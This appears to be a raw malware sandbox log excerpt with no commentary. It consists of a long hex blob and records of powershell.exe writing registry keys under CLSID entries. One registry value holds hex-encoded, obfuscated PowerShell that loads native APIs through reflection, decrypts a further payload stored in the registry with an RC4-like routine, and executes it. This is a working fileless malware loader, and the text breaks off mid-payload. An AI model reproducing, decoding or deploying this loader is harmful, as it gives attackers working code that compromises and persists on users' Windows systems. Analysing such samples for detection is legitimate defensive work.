b14051f64e248d3a032c208642572971159dc534b16f40bca39348a7b18536b0eedb8adb1b20cd738901419bc7cbc79c2e82c1411b8608f4923f3443b87fa7cc4a80306aed7effcc084094c1196f2d358e18e8fd3bae3ecffd7b1fb641ce0fe99e35b85758e975dfd6db68ba74ddb1f2ae20257c1be6d354a39cd99b44108c31558b858ebe50f41e119f4e54dd9e6695b6e6a8eaae03c1bb4f27bc2b8094c00c2883e9a26c81ab6ca6551642090b1fbac8187cbf07f5cbbd1e721b6d3267ae9f82389e47b401cc807630ef13064a1efb424924e412855c4e9e2e977336f9861c48b825b970ac9d02f094c28d7a1f84ae72e1fe51894931d6a1694e28dadac72e9e7423460cd1fe29a77cc068a54bb1e7f2493a73e9bddc4ef16fda87c06aebf3badf85e68fe60d560d7fcac5cdb130a7ebd3c5fe8d4bd519fa78f8d658a269dacabab18e9b72d8487d955dab77be584e42cb9455731e95fc9bc8fa615fc6e5871b3be85c9d0f89e8ba768dc783ca023ad0111d83be29cf2adf268c951a247ab450f92935358eb1bffee8bfd309da1ae293b5bb87842777a0f9bf72d7d1c1a7aab7c700c0e17835a775392be9e32855b0fbe2009df17f5ff676aac8b6632e5ce71d0abe6cfae72d7977cfc14be8d8180da6d8b635855bce359da6bfc64f827117ab584ae65059c869dc3df05ca640af5c67c4e816f0bed7c7400b41015c8981f306aece952e5bf2667ec500232e2085d537ffad6a90351982d18f88e549a3895b73c065901808bdf1a13e2c88b1eb9aa4393c6c3913a04f95800a9142755de0109bf4b07a87ad8e43b4ee53f03d9bef183bfd3fb3b939feaa1be3c1f84d28b9d965d07628e8b7b37510fe4844092eecd6044c6a97ba6b335eecd66c51fef20f1113a42a08fd9e54e9e72f56e025dcf20d86264e07974cb7da44249f1da25f01c028d2cd6c3567e6fd138b78b6a2ce4b800181bbc04f759d66f411ff8c077a7718cd125055158289e8bf22a6903724eb4a5064394144470421aae40feabc62c387997c621dafe24c837971c75b171a976381830f7bff48f848a51b4bd6a22761e965cd0c123be497c89301888cf86c65b0540e9d00fa31173ffba4b4defde486244cf747c9eaea89753793a45d2c65ebd35e5e6f2bdf1b3ce17882d12f0212b8b81a9e6a41eba4a2d1295fd5eac3b5c5ec438092383e09a599adc5001a81d4a5b49cd7202510af69478e45c0c963ce55f859952674d083e4176335de5b0e124eb24aedb2e6370f74bd98aef5161d90b4bff5e022ffb93c040b100bc9285a468ade14c025d4b36d993774f7fa170d89c99cff8d95bca5c66f7dac09a093b591e0613e8401486998b2cbd61709353a8df02995af85d57ad006c255c4786dde1bbd1c0f1908dd5e5f724a29a72dac10b270d5934f63d65070b213087d0b8ab21c97d06b426575a97cbe44ccb00e9a617cb1841d2b751a83e8d5ff8a56e3e0f09552debff2792987c16828ae4a11982334c8e329a85c405ed840411e70a36c874676d992a149dd412a7d62575c41d50aca7e7302cc028a723118c7947ce0983cfac153923b9f35ed396f4dc98634fd350fbff4a781f75c1a9a0987eaa569ec0f2865fd3f1cb19a0f0fc6aed95eb690065cba9a9f28456f60729aac80f13f3d83e0885abe1ac673a13e1c58ea7d243f70f1526313c0472971bc754f11bcafa92d0273cc4bb929747fe78b4aa4191c9cb1f03ee659f25009a756312251237bf849c6c82a72828ddaabcb2c81cdade4290b55714bc767a5dc1e9b345970a58264cb3deab81c5629e476745b07ef8413a795d953aecea80c07fb6527fae56a335075a5611493c0f212a03111d1fd01d09ffaafc400db9eb8aec1b90379ad2396ea1570ecc4f08550d0970c08d6c9682b44b2b32b9426540cf24074be0f37fafddb740e14d15a6333f5a68523d22b496195a77d5f5d5aed27252ed153f9c4736155f50965ef6bab362ebfa7e70ac66d0a76aa720e20c2ef9b665f626effe7b7aec105ad80558adaf16a70d7c1734d5ac85674a2998f9cd15b1b0678eb9668fb2ef7011db50f1a5575dba17f3ffb1d971265430187e1af1c289e16e7044aa973a03229f06fe668520d610977708ae73f98c45b9b89553e17b6d3992883b32c87a9b5d5bb27e7924b55ec49e84b3e74b64865179309ac269632cd2a742116e3c25baaebf338dbb20f1e363c420e1c6e0cc23bfe012a4c38ab26659eb7df443dbee2fb3e37c68b368881d7dc72609abd5e4f57496c25cd9b948b339d8969d3b7c4bbc7759bdfb019bd80a8af27761b3acae9ab5bee42bbca70a8db669e761f02d7448c08d169420d9b5a4cf43b2c14332fd74ece6d8c64c62f6d9bb2ba4b2e65893a90c770b2816041633e1b3fc447e5108c8960b1bd1fc87eb4bdc09e24ea0fd4e3a842dcc838aa631ebf8c937f62de695175551300ecebf79a2a1a923f986b367f7d244f13dcca42199488c6f7fd551d6f18cf816030e4734ec867d8341cfe0af3ea7df0bca95b3d02b274c591e091a49e9df1cc024e98fba845f1751ae5316ec49f684f09cd3364a3fd082880814bc4c552e56558a13ab23c5c873f95ba872affc7ddfe46c0a23c5dcd13910ad7ba695abb0ffcce7fe6091114746ac84e20d70aab375f42416f168d7089ee88c53c096516dcdca96991f922cccfe5db05a413d09de27fd2f5583a60d9fa3e121e89948513a9ac1f7a66c2d5e5213fd54fb7bbf45ddc25e2eba87c160e1b9ad22374453c913f375803add5c3428f91e82f9fbb6dde2048acd58b29539ff085b130e1e7f2e6c55de2dc5ea1ece7c8c71884b7c67ccec3f49be00307ce71c1245d24285d0e39d95b41d5dbf7043ca9c81c3f4d0a107e7a3266a04e66f9da2762e19701054d6b7d2c8696d946ed2b4cb46993fa86613a8289e6b3e54b3c5cc77fae22decca7e40d2cffe0545f765a837b7d30eb6159c316dcfe08dcfb5cdce5819f1f1669a4305ce7313652ab0f8605df78e6a05253c98c090b81a9e47c4662bb225eb8a212f973fda5fdcf899535d9190803364e92e34e61c99cab63bdbff53227b650411f6ca3312560ca5eaa69e67a920c0dc08a5dea142ae2c49990fbfdc6fcf9c4590e1807913583dbb4bfe7ba49cbaa644094f1b12fee27d0d562f0fb92206164a5ad700b19bfead49d71cf748bd14c53cad1c8ed5ad5274f09c15dc23b499861057e640303719fce96cec2a5917335647fa28c99296a71a2beabc16bf39248b2b8733ed12dc838fb7ccd2dd996711dbc7c8a5f2a70d71f20288040f9ab958c1429a1bfca96deee076b00bf02cdcec55602c89a67b2ce005f9d7907ccc0d96c00cdc0855976dd55bbe585ff7faa87754291787fe91477a0f3b6b7ecf83f614719b5514646c2af36db38eae6c9c8b9d92d8deac9967f6e23751abda84a763579a385e3d511d5a1cb55fce1b784e87438ea2f90e1208ca3b1a4e771b28141d162932780a506a3463af9adba92979fa33ddc9d1fddac6bdf062253b84335dbbddc1522a880d714417de927b0a777870747f23940ff367949a7a4a1e74b5c0ac160c438765e6124806b05fc7790c27aac472be11f1f089f9638e6cbe0cd6c5d340e84e070cac39362545681b63c723263d66d08bab87826e25e9bdff9a4e7e01ca597a3117ddd5348bad45b9d75aa8f72be4dd0117cf646ea4a33f51d29e71673f2a144a8dac0448172f1352abab9a71b51a5c5da8b9438ef100f527e425936e408140832fa963026faa582a58156058d91731ea1b112c6c757e4eee7ae399f345897ccf43839ceff46af0c0b0aac84f92b4e4fb398f4823f2cc934b95d6a1fbe26d9e4570c1e8f2c84d1d6b7f7ecfb95d2f50a07f5ba76b35e18c5aefa5b19b913a8e0e39b1221c8fb314d2f03549b98a23682a099ed7121f0b22c15eebf64c948cc3a8fc2c0dd9ca1aff97e5b98d45d4cf89c68991fd66fb133fa09848d819823fe3cc83fc766502c7976d5f5f084113793386d049d3aefbecd15cd8bbe145050b9694f91f29585f3e1a13ac605add1d7ce810bed730057ac7edc0e7c5dd8a20f9ff4e92830d132d5424c469b796b96d6d5f42bbe7ac65fab9a771bc14a0cc875e864bc4a9b87870894c8e83b8e4cf7813f9b3fb16d660d1ba93817272a8e6cf7b85817206e9f1690e7f7b15e55925eb1a948a4d910204d6534b20c3f530796e6244401b17bb283f45300d65e4e9692faee25be9e15823ac3fb233cc7a01f528bfab770f8d38fe7b3acf4aabc5fc36893ddf10e873b623b14301af45634f3c1a140b856fb3808352f3a4c95e52a93da4440298957b438587dc47700fdc1d0c01a8907aa0e8dff5872fa490bbda02a8f52ea847d297de061e58b7c0a048b8f92efd02d1630784aafa2e52f7d7e67433058be3b289693d46df8f1c786c96bb9cc629285e2044f403f0e085712d653fbf77241555406c7d0fda263f8df41119cec4180f94f18b2cb7318b0292f9f74cdd97044602c143b49f6a9f07c1cc961072d95d59798a7821389a0b57a3c12e1cc61e407b2ec0a6d65fc9b434954b7b237d689738919a5742701b85e3562141d0160dcfbb4aa266b8606cc75354f46c36573e6dff722b70a0e657500819f7838931f58fdbf395fe92ab814012ea1f9a8aa0c77bddc2644e495fd1e01b6d8a9817fac8d15d686af4f3d059c980a198893dbacd7299a7b95857b07b0d6c8f50e008d1ad3b13f556fce5032ef269abc4f0d4b1e0c54bd3ddf0eb1055f1656845be03841b43ae2acc1e73b7d55a86dd07f81c6a7eed30e9c4965c4bf9b38a85a4140b4432ecc1c3a1f28e8b2d05c7e47e1810423f4fabf995b73374fa0030ccd1f348108c743b1082f34d0767368244824611ea6d6fb795154bb43ae0f57e4f8cdc52089fef1b883bdd756042522a2969a1be735e1b136544dc71043822ca07e9b962c3b9a5f073972d12f12a62c115bd3124a46337a00aeed23cc08b7cc767c7a57ce0e42e869ebe257026c9dc51eeef0d57446919ecd9e2b38c363a5aed73b18d8ca04f7763dde737ae8efe6ca18470c0095df291c1bb1800026cbac3517f8921e315ed649595fd0c6fce54beca265bdb03cb60f1ca03f79dae8a2d7ba9fadde251add3bdebdf2b68f2bbed5f659aaa866599a69a46cc1db83338f482c1009775cb12c98758880f82ac91ab3e0dc01d3911a2aaa017660c54818ebfc469316ab3d89de78641e0d87007707bc2b43f4f70dc37b385e8ecdbd9f0fc92ce6f6e9a533c62c626ed50e150f7c4d79c545281878c63a2319512bf5e391e313da3fa48e98ad4f99b45c151414970e67bbcfdca5db9fabe25c244176e88716e3c254f678d3e8463e6e8fe0efc0d2466eaebc3dd8bab610008c05d38b9018ea71cdee01ebc5bdfa17b6904d313632d28fc9435212921b5e9c13ee86250c691d8efe73d5e8235b9cfbbe01f8e86dd6ebb6de7eb7809f4f992bb3d6c4602f9566a9fb720559b78ceab1de0d5c255321c30a77b77ff96a72575cc216ca5b4b3e64a413547c4486e9ae51314b0b6ea1d89685df4a0d77383693d8dfab38383f0deb746832037d91ca16842ac50c15e2a1ee087816d0c053faaefb042970949aee921c20ad4fe4239d2a63bff9cbec35426663cd0ced57ff4986c147a4fc2345c21e79bae0a58c565eb7f8fc219bc770efbd812211e8ba086210c11dab10230c292224d4ea21fb7fd48809d3f461427bedcd2834936c65221de6674df01ee6bb9e2c3ed9bd6618029e4591750c344c62e8cd619d0a67280fb3269f35df7d49b02581a26485344551bd74054bfda7fa785374eb069e9254320e18062e111647c3f44cf604d7ac38b5d967ff6e196f71da17ce874a10cf94485901eb7c9a6e1cfe491a0c8a975683efd25efc3d869c1541ec30711c08c0eaa93c42b9452aa46a111e007033238df6fd7e7b071b47bacd33f35828bef8988ecfb6d3d95e57385c6a858a0778b580f323bfe4028cb29cd8bbb2a294cde325e13f0a6be613514d9da222b130cf274cdcdfa15071f75945b00027911a72c35a4d7e4091811b3a36fdc228243a7f6ae816948ccc23e0fce01527c71082d4a70884d27c2724c457fa23c470c1954283474b20059e6cc838e649ff8bd344fc405421f65c90332cf292cb7462870325e1e2c8c246439b20b3fcf6f3de8cc52669775e7f768ecb88f755c4bd7bccf8bfaebce36757deb632f3118967a7e8236ea5b05fa420ff83131eacfae8e11d4ba4d8c854200c821837cc54d615d2c60c5fcae4ed4ee227a5179d8db65123d3b043758c4b1dec9f90244030382f9b145f4f7d6f906b2b5d3fcb89ca35becdf1290733e15be3a582c0b4f145560a7653fe6e0341101f6ae24a59acd2488fd2bf0c29e26b0998a44d3e4b56b8a7b1d83de1bf9f6e86b477f974f41e126328e1552356ebf4c11d2f1b337a0c627e8c554573e9a7409c3528ff73791a10d08780b3c3bbe559784648cf76ff4e96133f5e32ffb3e19d81330b2ed32bca5eca8f02567197d157ef8a0ae2b6cd4ab9568e0f862bd5a8efb4ab42f8c291d98359e788de15ded1e9b63d68114eae9e5f421380ca8a5920064bae7dc48d0952811fdbd31e2c52c17af6f193062a313f4a6dc574fed480b1880f8475442cf4aa14571f6e7bb7d66bd1836b989172ec8c661a39611f549a528736bff1a499bc9e19a58dd21911ccd9ad649bef1afebe15ceff2b6620fbc95b13f63ea1aa99350a43885efe8392bcc70a23c92fd7a2d2acc5ec0e724688676f2e798e683755d93e68e5620108e48f61f290c5f08241e8e6039aa6028d289fed22ba08626c8d0ae0272ac8e7a2ca3aece9be2a3604cfba8607e046d19cdd2265cdadee5d29c4406a9debdf07b84a1b308a83921b072fc88fa68ba7b12e8d490c23ad37b6ebb03caab43eb7d66c368b3afa2a77793778c6770df7aa52c6d97f5fc80af1d1deaa4edf11ba10dae2e1837620336233d14ed3f2cd3bbfaeafc7513a37f09ff7e5058ed7f84acfbb148fa5f8daa75f60a73619d0d0f5210e4dfce5bccf0449545aba429b01658398fb32a8603ca233501c716bd9bfd5e19972f1fe824ccd6bf8a35da162c364c68dc5246177f851142080940d81aa7afe1cddba1bc720e52847d7292a3bff77f78d86246153486b83fb6eda70c4e86255461cb591a448a670fd996d8116149e06de54d1561b7d5136a38366cf3aba99d16175425922d21d03ecf770b8a890da823816df48e8f7e3ced611247725df5ff67bac34625b4a1db2ffc1432b9fd26a55e7656937aa9632912544f04039eba6b9fbf28cd219ccff8dd40007a1ea137ca3bdd54ee9082ec39eebd09640a4781439c2a627740ef8280a7ce09177092d5585c2577fae4e124689877495214f41e8ee76926854cca79cc2c407d5c7d45df992d911a13462562460ffeaf27368ea79beecd4d1c3c3be7d67954a53dfd1bdf0d2c61f24c7d23dc39c99533f4cb94eddac8fc161742ce61abc27afdad6b0302822fed0d819460753e153f1567ac6636db26fd1d96219d3da608dde51c990678ba529bb0a29244a5a272806c06a534a9198a80c82353ee6b78cfb87c62c50e9f319c7a5c9a871c6a48013cf57789d7abd8d401d614045f4ae291e5b27a5c57d07a123225baa19b06c294469412e4da87e0bf15b73cb76ecd760929173566c155f66fd2e2a315d8965acfaaba2c2e3212defc9ccb63c4363d039d082866f3e7682dbfcd0a05c34e0d8212eab7fface2284aa6bffb powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{03070F00-1313-030E-0404-03070411000D}\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207}\VersionIndependentProgID powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207}\ProgID\0207 = 66756e6374696f6e20776a337b706172616d28246d66392c247078302c24676c322920287a6332202732343731374133353344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343731374133353245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343644363633393239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343731374133353245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437303738333032433234364436363339323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373137413335324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3134342d3134305d2b247073686f6d655b3231302d3137365d2b277827297d66756e6374696f6e207579327b706172616d28246c67392c24756137292028756f3220273234363136353332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343634364433343344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343631363533323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363136353332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363436443334324332343643363733393239323927297c2628247073686f6d655b3135392d3135355d2b247073686f6d655b3136312d3132375d2b277827297d66756e6374696f6e206a6c307b706172616d282468723129282d6a6f696e2824687231202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e207375327b706172616d28246f6130292028796133202732343733364533323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343733364533323245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343646363133303239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343733364533323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436343638333232433234364636313330323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373336453332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3136362d3136325d2b247073686f6d655b3136302d3132365d2b277827297d66756e6374696f6e207973317b706172616d28246872312c247465382c24646b362920286a6c302027323436353641333033443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333233303433333033343330333432443331333333313333324433303432333033303244333034313330343232443331333333313333333033333331333233303332333033373744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313332333034333237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333233303433323733423234363436333332334432383234363536413330354233333332354432423238333632423238333133343242323832383332333132443338323932393239323932393342323032343632373433373344323436353641333035423234363436333332324532453238323436343633333232423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343632373433373239334232343635364133303344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333133323330343333303334333033343244333133333331333332443330343233303330324433303431333034323244333133333331333333303333333133323330333233303337374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333233303337323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033323330333732373342323436343633333233443742323032343738363533303344333032453245333233353335334233303245324533323335333537433235374232303234373636353334334432383234373636353334324232343738363533303542323435463544324232343632373433373542323435463235323436323734333732453443363536453637373436383544323932353238333233313331324232383238333133313242333333343239323932393342323032343738363533303542323435463544324332343738363533303542323437363635333435443344323437383635333035423234373636353334354432433234373836353330354232343546354432303744323033423234363536413330374332353742323436323642333933443238323436323642333932423331323932353238333433313336324432383238333333313333324433363333323932443339333032393239334232303234363436323330334432383234363436323330324232343738363533303542323436323642333935443239323532383238333933303242323833323330324233313334333632393239323933423230323437383635333035423234363236423339354432433234373836353330354232343634363233303544334432343738363533303542323436343632333035443243323437383635333035423234363236423339354433423234354632443632373836463732323437383635333035423238323437383635333035423234363236423339354432423234373836353330354232343634363233303544323932353238323832383333333933323244333333323239324433313330333432393239354432303744323037443230334232343631373433393230334432303238323632303234363436333332374336363646373236353631363336383244364636323641363536333734374232373742333033413538333237443237323032443636323032343546323037443239324436413646363936453230323732373342323032383234323836363646373232383234363236423339334433303342323436323642333932303244364337343230323436313734333932453443363536453637373436383342323436323642333932423344333232393742323035423633364636453736363537323734354433413341353436463432373937343635323832343631373433393245353337353632373337343732363936453637323832343632364233393243333232393243323832383238333732423330323932423339323932393239323037443239323927297c2628247073686f6d655b3132392d3132355d2b247073686f6d655b3139382d3136345d2b277827297d2066756e6374696f6e206a69307b706172616d28246872312920286a6c3020273234373137333332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343646373633333344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343731373333323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373137333332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364637363333324332343638373233313239323927297c2628247073686f6d655b3135302d3134365d2b247073686f6d655b3232312d3138375d2b277827297d2066756e6374696f6e206c6e337b706172616d28246872312c247465382920286a6c30202732343638374133343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343638374133343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343638373233313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343638374133343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437343635333832433234363837323331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363837413334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3130382d3130345d2b247073686f6d655b3231382d3138345d2b277827297d66756e6374696f6e207465337b706172616d28246d76352c246c6e37292028726c3520273234364237393335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343645373833333344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343642373933353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364237393335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364537383333324332343644373633353239323927297c2628247073686f6d655b3133322d3132385d2b247073686f6d655b3230322d3136385d2b277827297d24656a303d79733120277a696c776b7064687367636d79657527202764756d636669797a676571616e6a746c27202771677364776f697463786c70687a6b6e62273b66756e6374696f6e207569377b706172616d28247365322c247178392c246e78382920287477362027323437343739333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333233303433333033343330333432443331333333313333324433303432333033303244333034313330343232443331333333313333333033333331333233303332333033373744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313332333034333237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333233303433323733423234364336383338334432383234373437393338354233333332354432423238333632423238333133343242323832383332333132443338323932393239323932393342323032343642364133333344323437343739333835423234364336383338324532453238323436433638333832423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343642364133333239334232343734373933383344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333133323330343333303334333033343244333133333331333332443330343233303330324433303431333034323244333133333331333333303333333133323330333233303337374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333233303337323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033323330333732373342323436433638333833443742323032343633363933303344333032453245333233353335334233303245324533323335333537433235374232303234363537413331334432383234363537413331324232343633363933303542323435463544324232343642364133333542323435463235323436423641333332453443363536453637373436383544323932353238333233313331324232383238333133313242333333343239323932393342323032343633363933303542323435463544324332343633363933303542323436353741333135443344323436333639333035423234363537413331354432433234363336393330354232343546354432303744323033423234373437393338374332353742323437343639333333443238323437343639333332423331323932353238333433313336324432383238333333313333324433363333323932443339333032393239334232303234363336353337334432383234363336353337324232343633363933303542323437343639333335443239323532383238333933303242323833323330324233313334333632393239323933423230323436333639333035423234373436393333354432433234363336393330354232343633363533373544334432343633363933303542323436333635333735443243323436333639333035423234373436393333354433423234354632443632373836463732323436333639333035423238323436333639333035423234373436393333354432423234363336393330354232343633363533373544323932353238323832383333333933323244333333323